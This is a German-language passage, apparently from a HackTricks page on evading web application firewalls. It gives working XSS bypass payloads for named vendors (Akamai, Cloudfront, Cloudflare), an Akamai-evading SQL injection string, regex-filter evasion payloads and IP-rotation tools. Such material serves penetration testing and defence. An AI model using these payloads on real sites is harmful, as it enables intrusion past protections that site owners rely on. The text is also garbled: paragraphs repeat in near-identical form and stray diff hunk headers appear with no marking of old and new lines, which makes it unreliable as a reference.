Wie in [**diesem Blogbeitrag**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, können wir, um WAFs zu umgehen, die in der Lage sind, einen Kontext der Benutzereingabe aufrechtzuerhalten, die WAF-Techniken ausnutzen, um die Benutzereingabe tatsächlich zu normalisieren.
Zum Beispiel wird im Beitrag erwähnt, dass **Akamai eine Benutzereingabe 10 Mal URL-dekodiert hat**. Daher wird etwas wie `<input/%2525252525252525253e/onfocus` von Akamai als `<input/>/onfocus` angesehen, was **vielleicht als in Ordnung angesehen wird, da das Tag geschlossen ist**. Solange die Anwendung jedoch die Eingabe nicht 10 Mal URL-dekodiert, wird das Opfer etwas wie `<input/%25252525252525253e/onfocus` sehen, was **immer noch gültig für einen XSS-Angriff ist**.
Zum Beispiel wird im Beitrag erwähnt, dass **Akamai eine Benutzereingabe 10 Mal URL-dekodiert hat**. Daher wird etwas wie `<input/%2525252525252525253e/onfocus` von Akamai als `<input/>/onfocus` angesehen, was **als in Ordnung angesehen werden könnte, da das Tag geschlossen ist**. Solange die Anwendung jedoch die Eingabe nicht 10 Mal URL-dekodiert, wird das Opfer etwas wie `<input/%25252525252525253e/onfocus` sehen, was **immer noch gültig für einen XSS-Angriff ist**.
Daher ermöglicht dies, **Payloads in kodierten Komponenten zu verstecken**, die die WAF dekodiert und interpretiert, während das Opfer dies nicht tut.
@ -158,7 +175,7 @@ Im Beitrag werden die folgenden endgültigen Umgehungen vorgeschlagen:
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Es wird auch erwähnt, dass je nachdem, **wie einige WAFs den Kontext** der Benutzereingabe verstehen, es möglich sein könnte, dies auszunutzen. Das vorgeschlagene Beispiel im Blog ist, dass Akamai erlaubte, alles zwischen `/*` und `*/` zu setzen (möglicherweise, weil dies häufig als Kommentare verwendet wird). Daher wird eine SQL-Injection wie `/*'or sleep(5)-- -*/` nicht erfasst und ist gültig, da `/*` der Startstring der Injection ist und `*/` kommentiert ist.
Es wird auch erwähnt, dass es je nach **wie einige WAFs den Kontext** der Benutzereingabe verstehen, möglich sein könnte, dies auszunutzen. Das vorgeschlagene Beispiel im Blog ist, dass Akamai erlaubte, alles zwischen `/*` und `*/` zu setzen (möglicherweise, weil dies häufig als Kommentare verwendet wird). Daher wird eine SQL-Injection wie `/*'or sleep(5)-- -*/` nicht erfasst und ist gültig, da `/*` der Startstring der Injection ist und `*/` kommentiert ist.
Diese Art von Kontextproblemen kann auch verwendet werden, um **andere Schwachstellen als die erwartete auszunutzen**, die von der WAF ausgenutzt werden sollen (z. B. könnte dies auch verwendet werden, um einen XSS auszunutzen).
@ -170,7 +187,7 @@ h2c-smuggling.md
### IP-Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generieren Sie eine API-Gateway-URL zur Verwendung mit ffuf
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generieren Sie eine API-Gateway-URL, die mit ffuf verwendet werden soll
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Ähnlich wie fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite-Plugin, das API-Gateway-IPs verwendet
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Eine dynamisch bestimmte Anzahl von Containerinstanzen wird basierend auf der Eingabedateigröße und dem Split-Faktor aktiviert, wobei die Eingabe in Teile für die parallele Ausführung aufgeteilt wird, z. B. 100 Instanzen, die 100 Teile aus einer 10.000-Zeilen-Eingabedatei mit einem Split-Faktor von 100 Zeilen verarbeiten.
@ -178,7 +195,7 @@ h2c-smuggling.md
### Regex-Umgehungen
Verschiedene Techniken können verwendet werden, um die Regex-Filter der Firewalls zu umgehen. Beispiele sind wechselnde Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Kodieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die folgenden Beispiele stammen aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
Verschiedene Techniken können verwendet werden, um die Regex-Filter an den Firewalls zu umgehen. Beispiele sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Kodieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die folgenden Beispiele stammen aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}